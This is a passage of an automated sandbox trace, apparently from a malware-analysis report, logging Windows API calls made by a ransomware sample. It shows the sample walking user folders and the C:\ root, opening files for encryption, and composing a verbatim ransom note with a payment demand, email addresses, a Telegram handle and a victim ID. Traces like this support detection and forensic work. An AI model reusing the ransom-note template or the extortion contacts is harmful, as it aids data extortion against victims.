ftLastWriteTime.dwHighDateTime=0x1d4c6dd, nFileSizeHigh=0x0, nFileSizeLow=0xd5e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IDiIl91AYgIq7HA6_.m4a", cAlternateFileName="IDIIL9~1.M4A")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c42dd0, ftCreationTime.dwHighDateTime=0x1d4d202, ftLastAccessTime.dwLowDateTime=0x6c186c90, ftLastAccessTime.dwHighDateTime=0x1d4ccf9, ftLastWriteTime.dwLowDateTime=0x6c186c90, ftLastWriteTime.dwHighDateTime=0x1d4ccf9, nFileSizeHigh=0x0, nFileSizeLow=0x13bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PO7Eqm6 3wk.mp3", cAlternateFileName="PO7EQM~1.MP3")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa51350, ftCreationTime.dwHighDateTime=0x1d4c95e, ftLastAccessTime.dwLowDateTime=0xdeebd7e0, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0xdeebd7e0, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x1b1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rrjW-8lVtAyz6CB c58F.m4a", cAlternateFileName="RRJW-8~1.M4A")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f25b50, ftCreationTime.dwHighDateTime=0x1d4c9bb, ftLastAccessTime.dwLowDateTime=0xa1faf5c0, ftLastAccessTime.dwHighDateTime=0x1d4d547, ftLastWriteTime.dwLowDateTime=0xa1faf5c0, ftLastWriteTime.dwHighDateTime=0x1d4d547, nFileSizeHigh=0x0, nFileSizeLow=0x2d57, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TvM2NRbZu cHPtd OkbD.mp3", cAlternateFileName="TVM2NR~1.MP3")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325941b0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0xef470f20, ftLastAccessTime.dwHighDateTime=0x1d4d282, ftLastWriteTime.dwLowDateTime=0xef470f20, ftLastWriteTime.dwHighDateTime=0x1d4d282, nFileSizeHigh=0x0, nFileSizeLow=0xa534, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TvY6pS.mp3", cAlternateFileName="")) returned 1 [0112.791] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e531620, ftCreationTime.dwHighDateTime=0x1d4ca68, ftLastAccessTime.dwLowDateTime=0x6c186df0, ftLastAccessTime.dwHighDateTime=0x1d4cac7, ftLastWriteTime.dwLowDateTime=0x6c186df0, ftLastWriteTime.dwHighDateTime=0x1d4cac7, nFileSizeHigh=0x0, nFileSizeLow=0x182ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YkQ2Zd.wav", cAlternateFileName="")) returned 1 [0112.791] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4863fd60, ftCreationTime.dwHighDateTime=0x1d4c5d7, ftLastAccessTime.dwLowDateTime=0xbc241d40, ftLastAccessTime.dwHighDateTime=0x1d4c625, ftLastWriteTime.dwLowDateTime=0xbc241d40, ftLastWriteTime.dwHighDateTime=0x1d4c625, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZN52hee3SS1DkjLr.wav", cAlternateFileName="ZN52HE~1.WAV")) returned 1 [0112.791] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4863fd60, ftCreationTime.dwHighDateTime=0x1d4c5d7, ftLastAccessTime.dwLowDateTime=0xbc241d40, ftLastAccessTime.dwHighDateTime=0x1d4c625, ftLastWriteTime.dwLowDateTime=0xbc241d40, ftLastWriteTime.dwHighDateTime=0x1d4c625, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZN52hee3SS1DkjLr.wav", cAlternateFileName="ZN52HE~1.WAV")) returned 0 [0112.791] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.791] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\") returned="UFF1TS\\" [0112.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0112.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.791] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.792] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.792] PathFindFileNameW (pszPath="") returned="" [0112.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9ca8140, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x2cf29bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x2cf29bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.794] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9ca8140, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x2cf29bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x2cf29bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.794] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.795] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\") returned="1E-1x-bA_f\\" [0112.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0112.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.795] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.795] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.795] PathFindFileNameW (pszPath="") returned="" [0112.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd425d0, ftCreationTime.dwHighDateTime=0x1d4c848, ftLastAccessTime.dwLowDateTime=0x54dfddf0, ftLastAccessTime.dwHighDateTime=0x1d4c575, ftLastWriteTime.dwLowDateTime=0x54dfddf0, ftLastWriteTime.dwHighDateTime=0x1d4c575, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.796] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.796] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0112.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0112.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.796] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.796] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.796] PathFindFileNameW (pszPath="") returned="" [0112.796] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.797] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.797] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\77Cx1sWq_QSp08HQt5\\") returned="77Cx1sWq_QSp08HQt5\\" [0112.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0112.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.798] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.798] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.798] PathFindFileNameW (pszPath="") returned="" [0112.798] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\77Cx1sWq_QSp08HQt5\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcfc7c0, ftCreationTime.dwHighDateTime=0x1d4cd47, ftLastAccessTime.dwLowDateTime=0x99a7a6e0, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x99a7a6e0, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.799] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.799] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\") returned="x4sMoy\\" [0112.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0112.799] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.799] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.799] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.799] PathFindFileNameW (pszPath="") returned="" [0112.799] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a85350, ftCreationTime.dwHighDateTime=0x1d4ccbf, ftLastAccessTime.dwLowDateTime=0xbb4467b0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xbb4467b0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.800] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.801] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\") returned="y9ZmZISZtA8fIYtTxfZp\\" [0112.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0112.801] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.801] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.801] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.801] PathFindFileNameW (pszPath="") returned="" [0112.801] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x310cebd0, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0xa481d0c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0xa481d0c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.803] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.804] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.804] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.804] PathFindFileNameW (pszPath="") returned="" [0112.804] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.805] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.805] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.805] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.805] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0112.805] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0112.805] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x32a6848 [0112.805] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0112.805] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0112.805] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.807] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0112.807] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0112.807] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0112.807] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.807] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.807] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.807] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.807] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.807] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.807] PathFindFileNameW (pszPath="") returned="" [0112.807] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.807] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.807] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.807] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.808] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0112.808] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0112.808] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.808] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.808] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.808] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.808] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0112.808] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0112.808] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.809] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0112.809] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.809] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0112.809] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.809] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0112.809] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.809] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0112.809] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.809] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.809] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.809] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.809] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0112.809] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.809] PathFindFileNameW 